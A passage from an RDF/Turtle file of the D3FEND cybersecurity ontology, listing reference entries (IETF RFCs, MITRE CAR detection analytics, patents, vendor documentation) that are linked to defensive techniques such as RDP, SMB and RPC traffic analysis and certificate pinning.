    d3f:kb-organization "Fortinet" ;
    d3f:kb-reference-of d3f:ApplicationProtocolCommandAnalysis ;
    d3f:kb-reference-title "Protocol based detection of suspicious network traffic" .

d3f:Reference-PsSuspend a d3f:SpecificationReference,
        owl:NamedIndividual ;
    rdfs:label "Reference - PsSuspend - Microsoft" ;
    d3f:has-link "https://learn.microsoft.com/en-us/sysinternals/downloads/pssuspend"^^xsd:anyURI ;
    d3f:kb-author "Mark Russinovich" ;
    d3f:kb-organization "Microsoft" ;
    d3f:kb-reference-of d3f:ProcessSuspension ;
    d3f:kb-reference-title "PsSuspend" .

d3f:Reference-PublicKeyPinningExtensionForHTTP a d3f:PatentReference,
        owl:NamedIndividual ;
    rdfs:label "Reference - Public Key Pinning Extension for HTTP" ;
    d3f:has-link "https://datatracker.ietf.org/doc/html/rfc7469"^^xsd:anyURI ;
    d3f:kb-abstract "RFC 7469 describes an HTTP extension that allows web host operators to instruct user agents to remember ('pin') the hosts' cryptographic identities over a period of time. This decreases the risk of MITM attacks due to compromised Certificate Authorities." ;
    d3f:kb-author "C. Evans, C. Palmer, R. Sleevi" ;
    d3f:kb-organization "Internet Engineering Task Force (IETF)" ;
    d3f:kb-reference-of d3f:CertificatePinning ;
    d3f:kb-reference-title "Public Key Pinning Extension for HTTP" .

d3f:Reference-QualysNetworkPassiveSensorGettingStartedGuide a d3f:UserManualReference,
        owl:NamedIndividual ;
    rdfs:label "Reference - Qualys Network Passive Sensor Getting Started Guide" ;
    d3f:has-link "https://www.qualys.com/passive-scanning-sensor/"^^xsd:anyURI ;
    d3f:kb-abstract "Qualys Passive Scanning Sensor (PS) continuously monitors all network traffic and flags any asset activity. It identifies and profiles devices the moment they connect to the network, including those difficult to scan, corporate owned, brought by employees, and rogue IT. The data is sent immediately to the Qualys Cloud Platform for centralized analysis." ;
    d3f:kb-organization "Qualys" ;
    d3f:kb-reference-of d3f:HardwareComponentInventory,
        d3f:NetworkNodeInventory ;
    d3f:kb-reference-title "Qualys Network Passive Sensor Getting Started Guide" .

d3f:Reference-QuickExecutionOfASeriesOfSuspiciousCommands_MITRE a d3f:ExternalKnowledgeBase,
        owl:NamedIndividual ;
    rdfs:label "Reference - CAR-2013-04-002: Quick execution of a series of suspicious commands - MITRE" ;
    d3f:has-link "https://car.mitre.org/analytics/CAR-2013-04-002/"^^xsd:anyURI ;
    d3f:kb-abstract "Certain commands are frequently used by malicious actors and infrequently used by normal users. By looking for execution of these commands in short periods of time, we can not only see when a malicious user was on the system but also get an idea of what they were doing." ;
    d3f:kb-author "MITRE" ;
    d3f:kb-mitre-analysis "" ;
    d3f:kb-organization "MITRE" ;
    d3f:kb-reference-of d3f:ProcessLineageAnalysis ;
    d3f:kb-reference-title "CAR-2013-04-002: Quick execution of a series of suspicious commands" .

d3f:Reference-RDPConnectionDetection_MITRE a d3f:ExternalKnowledgeBase,
        owl:NamedIndividual ;
    rdfs:label "Reference - CAR-2013-07-002: RDP Connection Detection - MITRE" ;
    d3f:has-link "https://car.mitre.org/analytics/CAR-2013-07-002"^^xsd:anyURI ;
    d3f:kb-abstract "The Remote Desktop Protocol (RDP), built in to Microsoft operating systems, allows a user to remotely log in to the desktop of another host. It allows for interactive access of the running windows, and forwards key presses, mouse clicks, etc. Network administrators, power users, and end-users may use RDP for day-to-day operations. From an adversary's perspective, RDP provides a means to laterally move to a new host. Determining which RDP connections correspond to adversary activity can be a difficult problem in highly dynamic environments, but will be useful in identifying the scope of a compromise." ;
    d3f:kb-author "MITRE" ;
    d3f:kb-mitre-analysis "" ;
    d3f:kb-organization "MITRE" ;
    d3f:kb-reference-of d3f:RemoteTerminalSessionDetection ;
    d3f:kb-reference-title "CAR-2013-07-002: RDP Connection Detection" .

d3f:Reference-RFC2289-AOne-TimePasswordSystem a d3f:SpecificationReference,
        owl:NamedIndividual ;
    rdfs:label "Reference - RFC 2289 - A One-Time Password System" ;
    d3f:has-link "https://tools.ietf.org/html/rfc2289"^^xsd:anyURI ;
    d3f:kb-organization "Internet Engineering Task Force (IETF)" ;
    d3f:kb-reference-of d3f:One-timePassword ;
    d3f:kb-reference-title "A One-Time Password System" .

d3f:Reference-RFC3411-AnArchitectureForDescribingSimpleNetworkManagementProtocolSNMPManagementFrameworks a d3f:SpecificationReference,
        owl:NamedIndividual ;
    rdfs:label "Reference - An Architecture for Describing Simple Network Management Protocol (SNMP) Management Frameworks" ;
    d3f:has-link "https://https://datatracker.ietf.org/doc/html/rfc3411"^^xsd:anyURI ;
    d3f:kb-author "D. Harrington, R. Presuhn, B. Wijnen" ;
    d3f:kb-organization "Internet Engineering Task Force (IETF)" ;
    d3f:kb-reference-of d3f:HardwareComponentInventory ;
    d3f:kb-reference-title "An Architecture for Describing Simple Network Management Protocol (SNMP) Management Frameworks" .

d3f:Reference-RFC7208-SenderPolicyFramework-SPF-ForAuthorizingUseOfDomainsInEmail-IETF a d3f:SpecificationReference,
        owl:NamedIndividual ;
    rdfs:label "Reference - RFC 7208: Sender Policy Framework (SPF) for Authorizing Use of Domains in Email - IETF" ;
    d3f:has-link "https://tools.ietf.org/html/rfc7208"^^xsd:anyURI ;
    d3f:kb-abstract "Email on the Internet can be forged in a number of ways. In particular, existing protocols place no restriction on what a sending host can use as the \"MAIL FROM\" of a message or the domain given on the SMTP HELO/EHLO commands.  This document describes version 1 of the Sender Policy Framework (SPF) protocol, whereby Administrative Management Domains (ADMDs) can explicitly authorize the hosts that are allowed to use their domain names, and a receiving host can check such authorization." ;
    d3f:kb-author "S. Kitterman" ;
    d3f:kb-organization "Internet Engineering Task Force (IETF)" ;
    d3f:kb-reference-of d3f:TransferAgentAuthentication ;
    d3f:kb-reference-title "RFC 7208: Sender Policy Framework (SPF) for Authorizing Use of Domains in Email" .

d3f:Reference-RFC7489-Domain-basedMessageAuthentication-Reporting-AndConformance-DMARC a d3f:SpecificationReference,
        owl:NamedIndividual ;
    rdfs:label "Reference - RFC 7489: Domain-based Message Authentication, Reporting, and Conformance (DMARC) - IETF" ;
    d3f:has-link "https://tools.ietf.org/html/rfc7489"^^xsd:anyURI ;
    d3f:kb-abstract """Domain-based Message Authentication, Reporting, and Conformance(DMARC) is a scalable mechanism by which a mail-originating organization can express domain-level policies and preferences for message validation, disposition, and reporting, that a mail-receiving organization can use to improve mail handling.

Originators of Internet Mail need to be able to associate reliable and authenticated domain identifiers with messages, communicate policies about messages that use those identifiers, and report about mail using those identifiers.  These abilities have several benefits: Receivers can provide feedback to Domain Owners about the use of their domains; this feedback can provide valuable insight about the management of internal operations and the presence of external domain name abuse.

DMARC does not produce or encourage elevated delivery privilege of authenticated email. DMARC is a mechanism for policy distribution that enables increasingly strict handling of messages that fail authentication checks, ranging from no action, through altered
delivery, up to message rejection.""" ;
    d3f:kb-author "M. Kucherawy, E. Zwicky" ;
    d3f:kb-organization "Internet Engineering Task Force (IETF)" ;
    d3f:kb-reference-of d3f:TransferAgentAuthentication ;
    d3f:kb-reference-title "RFC 7489: Domain-based Message Authentication, Reporting, and Conformance (DMARC)" .

d3f:Reference-RFC7642SystemForCrossDomainIdentityManagementDefinitionsOverviewConceptsAndRequirements a d3f:SpecificationReference,
        owl:NamedIndividual ;
    rdfs:label "Reference - RFC 7642: System for Cross-domain Identity Management: Definitions, Overview, Concepts, and Requirements" ;
    d3f:has-link "https://datatracker.ietf.org/doc/html/rfc7642"^^xsd:anyURI ;
    d3f:kb-abstract "The System for Cross-domain Identity Management (SCIM) specification is designed to manage user identity in cloud-based applications and services in a standardized way to enable interoperability, security, and scalability.  The specification suite seeks to build upon experience with existing schemas and deployments, placing specific emphasis on simplicity of development and integration, while applying existing authentication, authorization, and privacy models.  The intent of the SCIM specification is to reduce the cost and complexity of user management operations by providing a common user schema and extension model, as well as binding documents to provide patterns for exchanging this schema using standard protocols.  In essence, make it fast, cheap, and easy to move users in to, out of, and around the cloud." ;
    d3f:kb-author "K. LI, B. Khasnabish, A. Nadalin, Z. Zeltsan" ;
    d3f:kb-organization "IETF" ;
    d3f:kb-reference-of d3f:AccessModeling ;
    d3f:kb-reference-title "RFC7642: System for Cross-domain Identity Management: Definitions, Overview, Concepts, and Requirements" .

d3f:Reference-RFC8471TheTokenBindingProtocolVersion1.0 a d3f:SpecificationReference,
        owl:NamedIndividual ;
    rdfs:label "Reference - The Token Binding Protocol Version 1.0" ;
    d3f:has-link "https://datatracker.ietf.org/doc/html/rfc8471"^^xsd:anyURI ;
    d3f:kb-abstract "This document specifies version 1.0 of the Token Binding protocol. The Token Binding protocol allows client/server applications to create long-lived, uniquely identifiable TLS bindings spanning  multiple TLS sessions and connections. Applications are then enabled to cryptographically bind security tokens to the TLS layer, preventing token export and replay attacks.  To protect privacy, the Token Binding identifiers are only conveyed over TLS and can be reset by the user at any time." ;
    d3f:kb-author "A. Popov, M. Nystroem, Microsoft Corp., D. Balfanz, Google Inc., J Hodges, Kings Mountain Systems" ;
    d3f:kb-organization "IETF" ;
    d3f:kb-reference-of d3f:TokenBinding ;
    d3f:kb-reference-title "RFC8471: The Token Binding Protocol Version 1.0" .

d3f:Reference-RPCCallInterception_CrowdstrikeInc a d3f:PatentReference,
        owl:NamedIndividual ;
    rdfs:label "Reference - RPC call interception - Crowdstrike Inc" ;
    d3f:has-link "https://patents.google.com/patent/US20150163109"^^xsd:anyURI ;
    d3f:kb-abstract "A service proxy is described herein. The service proxy is configured to act as an intermediary between a client and a service. The service proxy may observe communications, modify communications, log communications, or the like, particularly so as to enhance the security and reliability of the host device. In some implementations, the service proxy may cooperate with an operating system to take over a named port object. In some implementations, the service proxy may receive messages as an intermediary between the client and the server. In some implementations, the service proxy may attach to a shared memory to intercept communications. In some implementations, the service proxy may be injected into a client process to appear to be the client itself." ;
    d3f:kb-author "Ion-Alexandru Ionescu" ;
    d3f:kb-mitre-analysis "" ;
    d3f:kb-organization "Crowdstrike Inc" ;
    d3f:kb-reference-of d3f:RPCTrafficAnalysis ;
    d3f:kb-reference-title "RPC call interception" .

d3f:Reference-ReachabilityGraphBasedSafeRemediationsforSecuirytofOnPremiseAndCloudComputingEnvironments a d3f:PatentReference,
        owl:NamedIndividual ;
    rdfs:label "Reference - Reachability graph-based safe remediations for security of on-premise and cloud computing environments" ;
    d3f:has-link "https://patentimages.storage.googleapis.com/23/c1/a5/d78b3d4f275070/US11637861.pdf"^^xsd:anyURI ;
    d3f:kb-abstract "A method for securing a networked computer system executing an application includes identifying a vulnerable computer resource in the networked computer system, determining all computer resources in the networked computer system that are accessible from, or are accessed by, the vulnerable computer resource, and prioritizing implementation of a remediation action to secure the vulnerable computer resource if a vulnerability path extends from the vulnerable computer resource to a critical computer resource that contains sensitive information. The remediation action to secure the vulnerable computer resource is a safe remediation action that does not impact availability of the application executing on the networked computer system." ;
    d3f:kb-author "Siddharth Sukumar Burle, Ajoy Kumar, Manish Jain" ;
    d3f:kb-reference-of d3f:NetworkVulnerabilityAssessment ;
    d3f:kb-reference-title "Reachability graph-based safe remediations for security of on-premise and cloud computing environments" .

d3f:Reference-RedHatEnterpriseLinux8SecurityTechnicalImplementationGuide a d3f:GuidelineReference,
        owl:NamedIndividual ;
    rdfs:label "Reference - Red Hat Enterprise Linux 8 Security Technical Implementation Guide" ;
    d3f:has-link "https://www.stigviewer.com/stig/red_hat_enterprise_linux_8/"^^xsd:anyURI ;
    d3f:kb-abstract "Red Hat Enterprise Linux 8 Security Guidelines" ;
    d3f:kb-reference-of d3f:ApplicationConfigurationHardening ;
    d3f:kb-reference-title "Red Hat Enterprise Linux 8 Security Technical Implementation Guide" .

d3f:Reference-ReferenceNullification_SecureSoftwareInc a d3f:ExternalKnowledgeBase,
        owl:NamedIndividual ;
    rdfs:label "Reference - Reference Nullification" ;
    d3f:has-link "https://cwe.mitre.org/documents/sources/TheCLASPApplicationSecurityProcess.pdf"^^xsd:anyURI ;
    d3f:kb-organization "Secure Software, Inc." ;
    d3f:kb-reference-of d3f:ReferenceNullification ;
    d3f:kb-reference-title "The CLASP Application Security Process" .

d3f:Reference-Reg.exeCalledFromCommandShell_MITRE a d3f:ExternalKnowledgeBase,
        owl:NamedIndividual ;
    rdfs:label "Reference - CAR-2013-03-001: Reg.exe called from Command Shell - MITRE" ;
    d3f:has-link "https://car.mitre.org/analytics/CAR-2013-03-001/"^^xsd:anyURI ;
    d3f:kb-abstract "Registry modifications are often essential in establishing persistence via known Windows mechanisms. Many legitimate modifications are done graphically via regedit.exe or by using the corresponding channels, or even calling the Registry APIs directly. The built-in utility reg.exe provides a command-line interface to the registry, so that queries and modifications can be performed from a shell, such as cmd.exe. When a user is responsible for these actions, the parent of cmd.exe will likely be explorer.exe. Occasionally, power users and administrators write scripts that do this behavior as well, but likely from a different process tree. These background scripts must be learned so they can be tuned out accordingly." ;
    d3f:kb-author "MITRE" ;
    d3f:kb-mitre-analysis "" ;
    d3f:kb-organization "MITRE" ;
    d3f:kb-reference-of d3f:ProcessLineageAnalysis,
        d3f:ProcessSpawnAnalysis ;
    d3f:kb-reference-title "CAR-2013-03-001: Reg.exe called from Command Shell" .

d3f:Reference-RegistryKeySecurityAndAccessRights a d3f:UserManualReference,
        owl:NamedIndividual ;
    rdfs:label "Reference - Registry Key Security and Access Rights" ;
    d3f:has-link "https://docs.microsoft.com/en-us/windows/win32/sysinfo/registry-key-security-and-access-rights"^^xsd:anyURI ;
    d3f:kb-abstract "The Windows security model enables you to control access to registry keys. For more information about security, see Access-Control Model." ;
    d3f:kb-organization "Microsoft" ;
    d3f:kb-reference-of d3f:UserSessionInitConfigAnalysis ;
    d3f:kb-reference-title "Registry Key Security and Access Rights" .

d3f:Reference-RemoteDesktopLogon_MITRE a d3f:ExternalKnowledgeBase,
        owl:NamedIndividual ;
    rdfs:label "Reference - CAR-2016-04-005: Remote Desktop Logon - MITRE" ;
    d3f:has-link "https://car.mitre.org/analytics/CAR-2016-04-005/"^^xsd:anyURI ;
    d3f:kb-abstract "A remote desktop logon, through RDP, may be typical of a system administrator or IT support, but only from select workstations. Monitoring remote desktop logons and comparing to known/approved originating systems can detect lateral movement of an adversary." ;
    d3f:kb-author "MITRE" ;
    d3f:kb-mitre-analysis "" ;
    d3f:kb-organization "MITRE" ;
    d3f:kb-reference-of d3f:RemoteTerminalSessionDetection ;
    d3f:kb-reference-title "CAR-2016-04-005: Remote Desktop Logon" .

d3f:Reference-RemoteRegistry_MITRE a d3f:ExternalKnowledgeBase,
        owl:NamedIndividual ;
    rdfs:label "Reference - CAR-2014-11-005: Remote Registry - MITRE" ;
    d3f:has-link "https://car.mitre.org/analytics/CAR-2014-11-005/"^^xsd:anyURI ;
    d3f:kb-abstract """An adversary can remotely manipulate the registry of another machine if the RemoteRegistry service is enabled and valid credentials are obtained. While the registry is remotely accessed, it can be used to prepare a Lateral Movement technique, discover the configuration of a host, achieve Persistence, or anything that aids an adversary in achieving the mission. Like most ATT&CK techniques, this behavior can be used legitimately, and the reliability of an analytic depends on the proper identification of the pre-existing legitimate behaviors. Although this behavior is disabled in many Windows configurations, it is possible to remotely enable the RemoteRegistry service, which can be detected with CAR-2014-03-005.

Remote access to the registry can be achieved via

* Windows API function RegConnectRegistry
* command line via reg.exe
* graphically via regedit.exe

All of these behaviors call into the Windows API, which uses the NamedPipe WINREG over SMB to handle the protocol information. This network can be decoded with wireshark or a similar sensor, and can also be detected by hooking the API function.""" ;
    d3f:kb-author "MITRE" ;
    d3f:kb-mitre-analysis "" ;
    d3f:kb-organization "MITRE" ;
    d3f:kb-reference-of d3f:AdministrativeNetworkActivityAnalysis ;
    d3f:kb-reference-title "CAR-2014-11-005: Remote Registry" .

d3f:Reference-RemotelyLaunchedExecutablesViaServices_MITRE a d3f:ExternalKnowledgeBase,
        owl:NamedIndividual ;
    rdfs:label "Reference - CAR-2014-03-005: Remotely Launched Executables via Services - MITRE" ;
    d3f:has-link "https://car.mitre.org/analytics/CAR-2014-03-005/"^^xsd:anyURI ;
    d3f:kb-abstract """There are several ways to cause code to execute on a remote host. One of the most common methods is via the Windows Service Control Manager (SCM), which allows authorized users to remotely create and modify services. Several tools, such as PsExec, use this functionality.

When a client remotely communicates with the Service Control Manager, there are two observable behaviors. First, the client connects to the RPC Endpoint Mapper over 135/tcp. This handles authentication, and tells the client what port the endpoint--in this case the SCM--is listening on. Then, the client connects directly to the listening port on services.exe. If the request is to start an existing service with a known command line, the the SCM process will run the corresponding command.

This compound behavior can be detected by looking for services.exe receiving a network connection and immediately spawning a child process.""" ;
    d3f:kb-author "MITRE" ;
    d3f:kb-mitre-analysis "" ;
    d3f:kb-organization "MITRE" ;
    d3f:kb-reference-of d3f:RPCTrafficAnalysis ;
    d3f:kb-reference-title "CAR-2014-03-005: Remotely Launched Executables via Services" .

d3f:Reference-RemotelyScheduledTasksViaSchtasks_MITRE a d3f:ExternalKnowledgeBase,
        owl:NamedIndividual ;
    rdfs:label "Reference - CAR-2015-04-002: Remotely Scheduled Tasks via Schtasks - MITRE" ;
    d3f:has-link "https://car.mitre.org/analytics/CAR-2015-04-002/"^^xsd:anyURI ;
    d3f:kb-abstract """An adversary can move laterally using the schtasks command to remotely schedule tasks. Although these events can be detected with command line analytics CAR-2013-08-001, it is possible for an adversary to use the API directly, via the Task Scheduler GUI or with a scripting language such as PowerShell. In this cases, an additional source of data becomes necessary to detect adversarial behavior. When scheduled tasks are created remotely, Windows uses RPC (135/tcp) to communicate with the Task Scheduler on the remote machine. Once an RPC connection is established (CAR-2014-05-001), the client communicates with the Scheduled Tasks endpoint, which runs within the service group netsvcs. With packet capture and the right packet decoders or byte-stream based signatures, remote invocations of these functions can be identified.

Certain strings can be identifiers of the schtasks, by looking up the interface UUID of ITaskSchedulerService in different formats

* UUID 86d35949-83c9-4044-b424-db363231fd0c (decoded)
* Hex 49 59 d3 86 c9 83 44 40 b4 24 db 36 32 31 fd 0c (raw)
* ASCII IYD@$621 (printable bytes only)

This identifier is present three times during the RPC request phase. Any sensor that has access to the byte code as raw, decoded, or ASCII could implement this analytic.""" ;
    d3f:kb-author "MITRE" ;
    d3f:kb-mitre-analysis "" ;
    d3f:kb-organization "MITRE" ;
    d3f:kb-reference-of d3f:RPCTrafficAnalysis ;
    d3f:kb-reference-title "CAR-2015-04-002: Remotely Scheduled Tasks via Schtasks" .

d3f:Reference-Reputation_of_an_entity_associated_with_a_content_item a d3f:PatentReference,
        owl:NamedIndividual ;
    rdfs:label "Reference - Reputation of an entity associated with a content item" ;
    d3f:has-link "https://patents.google.com/patent/US20060253584A1"^^xsd:anyURI ;
    d3f:kb-author "Christopher Dixon, Thomas Pinckney" ;
    d3f:kb-reference-of d3f:FileHashReputationAnalysis ;
    d3f:kb-reference-title "Reputation of an entity associated with a content item" .

d3f:Reference-RevokingaPreviouslyIssuedVerifiableCredential-Microsoft a d3f:SpecificationReference,
        owl:NamedIndividual ;
    rdfs:label "Reference - Revoke a previously issued verifiable credential - Microsoft" ;
    d3f:has-link "https://learn.microsoft.com/en-us/azure/active-directory/verifiable-credentials/how-to-issuer-revoke"^^xsd:anyURI ;
    d3f:kb-author "Barclay Neira, Christer Ljung, Juan Camilo Ruiz, John Flores" ;
    d3f:kb-organization "Microsoft" ;
    d3f:kb-reference-of d3f:CredentialRevocation ;
    d3f:kb-reference-title "Revoke a previously issued verifiable credential" .

d3f:Reference-RunDLL32.exeMonitoring_MITRE a d3f:ExternalKnowledgeBase,
        owl:NamedIndividual ;
    rdfs:label "Reference - CAR-2014-03-006: RunDLL32.exe monitoring - MITRE" ;
    d3f:has-link "https://car.mitre.org/analytics/CAR-2014-03-006/"^^xsd:anyURI ;
    d3f:kb-abstract "Adversaries may find it necessary to use Dyanamic-link Libraries (DLLs) to evade defenses. One way these DLLs can be \"executed\" is through the use of the built-in Windows utility RunDLL32, which allows a user to execute code in a DLL, providing the name and optional arguments to an exported entry point. Windows uses RunDll32 legitimately in its normal operation, but with a proper baseline and understanding of the environment, monitoring its usage could be fruitful." ;
    d3f:kb-author "MITRE" ;
    d3f:kb-mitre-analysis "" ;
    d3f:kb-organization "MITRE" ;
    d3f:kb-reference-of d3f:ProcessSpawnAnalysis ;
    d3f:kb-reference-title "CAR-2014-03-006: RunDLL32.exe monitoring" .

d3f:Reference-S7-1200-Programmable-controller a d3f:GuidelineReference,
        owl:NamedIndividual ;
    rdfs:label "Reference - S7-1200 Programmable controller" ;
    d3f:has-link "https://docs.tia.siemens.cloud/r/simatic_s7_1200_manual_collection_enus_20/programming-concepts/using-blocks-to-structure-your-program/data-block-db"^^xsd:anyURI ;
    d3f:kb-abstract "The S7-1200 programmable logic controllers (PLCs) can control a variety of automation applications. Compact design, affordable price, and a powerful instruction set make the S7-1200 CPU and modules a perfect solution for controlling a wide variety of applications. Together with the STEP 7 configuration and programming tool, you have the flexibility you need to design your automation solutions. This documentation provides information about the S7-1200 CPU and modules. It contains information for engineers, programmers, installers, and electricians." ;
    d3f:kb-organization "SIEMENS" ;
    d3f:kb-reference-of d3f:OTVariableAccessRestriction ;
    d3f:kb-reference-title "S7-1200 Programmable controller" .

d3f:Reference-SAFESEH_ImageHasSafeExceptionHandlers_MicrosoftDocs a d3f:UserManualReference,
        owl:NamedIndividual ;
    rdfs:label "Reference - /SAFESEH (Image has Safe Exception Handlers) - Microsoft Docs" ;
    d3f:has-link "https://docs.microsoft.com/en-us/cpp/build/reference/safeseh-image-has-safe-exception-handlers?view=msvc-160"^^xsd:anyURI ;
    d3f:kb-abstract "When /SAFESEH is specified, the linker will only produce an image if it can also produce a table of the image's safe exception handlers. This table specifies for the operating system which exception handlers are valid for the image." ;
    d3f:kb-author "Mike Blome, Saisang Cai, Colin Robertson, Mike Jones, NextTurn, Gordon Hogenson" ;
    d3f:kb-mitre-analysis "" ;
    d3f:kb-organization "Microsoft" ;
    d3f:kb-reference-of d3f:ExceptionHandlerPointerValidation ;
    d3f:kb-reference-title "/SAFESEH (Image has Safe Exception Handlers)" .

d3f:Reference-SIA-OSDP-2-2 a d3f:SpecificationReference,
        owl:NamedIndividual ;
    rdfs:label "Reference - SIA OSDP v2.2" ;
    d3f:has-link "https://www.securityindustry.org/industry-standards/open-supervised-device-protocol/"^^xsd:anyURI ;
    d3f:kb-abstract "Open Supervised Device Protocol (OSDP) is an access control communications standard developed by the Security Industry Association (SIA) to improve interoperability among access control and security products." ;
    d3f:kb-author "Security Industry Association (SIA)" ;
    d3f:kb-reference-of d3f:ElectronicLockMonitoring ;
    d3f:kb-reference-title "Open Supervised Device Protocol (OSDP) v2.2" .

d3f:Reference-SMBCopyAndExecution_MITRE a d3f:ExternalKnowledgeBase,
        owl:NamedIndividual ;
    rdfs:label "Reference - CAR-2013-05-005: SMB Copy and Execution - MITRE" ;
    d3f:has-link "https://car.mitre.org/analytics/CAR-2013-05-005/"^^xsd:anyURI ;
    d3f:kb-abstract """An adversary needs to gain access to other hosts to move throughout an environment. In many cases, this is a twofold process. First, a file is remotely written to a host via an SMB share (detected by CAR-2013-05-003). Then, a variety of Execution techniques can be used to remotely establish execution of the file or script. To detect this behavior, look for files that are written to a host over SMB and then later run directly as a process or in the command line arguments. SMB File Writes and Remote Execution may happen normally in an environment, but the combination of the two behaviors is less frequent and more likely to indicate adversarial activity.

This can possibly extend to more copy protocols in order to widen its reach, or it could be tuned more finely to focus on specific program run locations (e.g. %SYSTEMROOT%\\system32) to gain a higher detection rate.""" ;
    d3f:kb-author "" ;
    d3f:kb-mitre-analysis "" ;
    d3f:kb-organization "" ;
    d3f:kb-reference-of d3f:IPCTrafficAnalysis ;
    d3f:kb-reference-title "CAR-2013-05-005: SMB Copy and Execution" .

d3f:Reference-SMBEventsMonitoring_MITRE a d3f:ExternalKnowledgeBase,
        owl:NamedIndividual ;
    rdfs:label "Reference - CAR-2013-01-003: SMB Events Monitoring - MITRE" ;
    d3f:has-link "https://car.mitre.org/analytics/CAR-2013-01-003/"^^xsd:anyURI ;
    d3f:kb-abstract """Server Message Block (SMB) is used by Windows to allow for file, pipe, and printer sharing over port 445/tcp. It allows for enumerating, and reading from and writing to file shares for a remote computer. Although it is heavily used by Windows servers for legitimate purposes and by users for file and printer sharing, many adversaries also use SMB to achieve Lateral Movement. Looking at this activity more closely to obtain an adequate sense of situational awareness may make it possible to detect adversaries moving between hosts in a way that deviates from normal activity. Because SMB traffic is heavy in many environments, this analytic may be difficult to turn into something that can be used to quickly detect an APT. In some cases, it may make more sense to run this analytic in a forensic fashion. Looking through and filtering its output after an intrusion has been discovered may be helpful in identifying the scope of compromise.

Output Description:
The source, destination, content, and time of each event.""" ;
    d3f:kb-author "MITRE" ;
    d3f:kb-mitre-analysis "" ;
    d3f:kb-organization "MITRE" ;
    d3f:kb-reference-of d3f:IPCTrafficAnalysis ;
    d3f:kb-reference-title "CAR-2013-01-003: SMB Events Monitoring" .

d3f:Reference-SMBWriteRequest_MITRE a d3f:ExternalKnowledgeBase,
        owl:NamedIndividual ;
    rdfs:label "Reference - CAR-2013-05-003: SMB Write Request - MITRE" ;
    d3f:has-link "https://car.mitre.org/analytics/CAR-2013-05-003/"^^xsd:anyURI ;
    d3f:kb-abstract "As described in CAR-2013-01-003, SMB provides a means of remotely managing a file system. Adversaries often use SMB to move laterally to a host. SMB is commonly used to upload files. It may be used for staging in Exfiltration or as a Lateral Movement technique. Unlike SMB Reads, SMB Write requests typically require an additional level of access, resulting in less activity. Focusing on SMB Write activity narrows the field to find techniques that actively change remote hosts, instead of passively reading files." ;
    d3f:kb-author "" ;
    d3f:kb-mitre-analysis "" ;
    d3f:kb-organization "" ;
    d3f:kb-reference-of d3f:IPCTrafficAnalysis ;
    d3f:kb-reference-title "CAR-2013-05-003: SMB Write Request" .

d3f:Reference-SNMPNetworkAutoDiscovery a d3f:UserManualReference,
        owl:NamedIndividual ;
    rdfs:label "Reference - SNMP - Network Auto-Discovery" ;
    d3f:has-link "https://docs.device42.com/auto-discovery/network-auto-discovery/"^^xsd:anyURI ;
    d3f:kb-abstract "SNMP, or Simple Network Management Protocol, is a protocol and a standard that is supported by just about any managed network-connected hardware. There are three widely deployed versions: SNMP v1, v2c (most commonly used), and v3. SNMP is typically utilized read-only, but supports read/write, and by default utilized port 161. SNMP exposes management data in the form of ‘variables’, which are organized in what is known as a MIB, or “Management Information Base”. A MIB essentially describes the variables available on a given system, each of which can be remotely queried via SNMP." ;
    d3f:kb-organization "Device 42" ;
    d3f:kb-reference-of d3f:ActiveLogicalLinkMapping ;
    d3f:kb-reference-title "SNMP - Network Auto Discovery" .

d3f:Reference-SecretsManagementCheatSheet-OWASP a d3f:InternetArticleReference,
        owl:NamedIndividual ;
    rdfs:label "Secrets Management Cheat Sheet" ;
    d3f:has-link "https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html"^^xsd:anyURI ;
    d3f:kb-abstract "The OWASP Secrets Management Cheat Sheet provides clear directives for securely managing sensitive data like API keys and credentials. It emphasizes centralized control for storage, provisioning, and auditing to prevent unauthorized access. Adopting strong rotation and management protocols is essential for maintaining security and integrity in DevOps environments." ;
    d3f:kb-author "OWASP" ;
    d3f:kb-reference-of d3f:CredentialScrubbing ;
    d3f:kb-reference-title "Secrets Management Cheat Sheet" .

d3f:Reference-SecureCachingOfServerCredentials_DellProductsLP a d3f:PatentReference,
        owl:NamedIndividual ;
    rdfs:label "Reference - Secure caching of server credentials - Dell Products LP" ;
    d3f:has-link "https://patents.google.com/patent/US20100107241A1"^^xsd:anyURI ;
    d3f:kb-abstract "A credential caching system includes receiving a set of authentication credentials, storing the set of authentication credentials in a credential cache memory, wherein the credential cache memory is coupled with a management controller, and supplying the set of authentication credentials for automatic authentication during a reset or reboot. In the event of a security breach, the credential caching system clears the set of authentication credentials from the credential cache memory so that the set of authentication credentials may no longer be used for a reset or reboot." ;
    d3f:kb-author "Muhammed K. JaberMukund P. KhatriKevin T. MarksDon Charles McCall" ;
    d3f:kb-mitre-analysis "" ;
    d3f:kb-organization "Dell Products LP" ;
    d3f:kb-reference-of d3f:AuthenticationCacheInvalidation ;
    d3f:kb-reference-title "Secure caching of server credentials" .

d3f:Reference-SecureOneWayDataTransferUsingCommunicationInterfaceCircuitry a d3f:PatentReference,
        owl:NamedIndividual ;
    rdfs:label "Reference - Secure one-way data transfer using communication interface circuitry" ;
    d3f:has-link "https://patents.google.com/patent/US8068415B2"^^xsd:anyURI ;
    d3f:kb-abstract "Network interface circuitry for a secure one-way data transfer from a sender's computer (“Send Node”) to a receiver's computer (“Receive Node”) over a data link, such as an optical fiber or shielded twisted pair copper wire communication cable, comprising send-only network interface circuitry for transmitting data from the Send Node to the data link, and receive-only network interface circuitry for receiving the data from the data link and transmitting the received data to the Receive Node, wherein the send-only network interface circuitry is configured not to receive any data from the data link, and the receive-only network interface circuitry is configured not to send any data to the data link. The network interface circuitry may use various interface means such as PCI interface, USB connection, FireWire connection, or serial port connection for coupling to the Send Node and the Receive Node." ;
    d3f:kb-organization "OWL Computing Technologies Inc" ;
    d3f:kb-reference-of d3f:DirectionalNetworkLink ;
    d3f:kb-reference-title "Secure one-way data transfer using communication interface circuitry" .

d3f:Reference-SecurityArchitectureForTheInternetProtocol a d3f:SpecificationReference,
        owl:NamedIndividual ;
    rdfs:label "Reference - Security Architecture for the Internet Protocol" ;
    d3f:has-link "https://datatracker.ietf.org/doc/html/rfc1825"^^xsd:anyURI ;
    d3f:kb-abstract """This memo describes the security mechanisms for IP version 4 (IPv4)
   and IP version 6 (IPv6) and the services that they provide.  Each
   security mechanism is specified in a separate document.  This
   document also describes key management requirements for systems
   implementing those security mechanisms.  This document is not an
   overall Security Architecture for the Internet and is instead focused
   on IP-layer security.""" ;
    d3f:kb-author "Randall Atkinson" ;
    d3f:kb-reference-of d3f:EncryptedTunnels ;
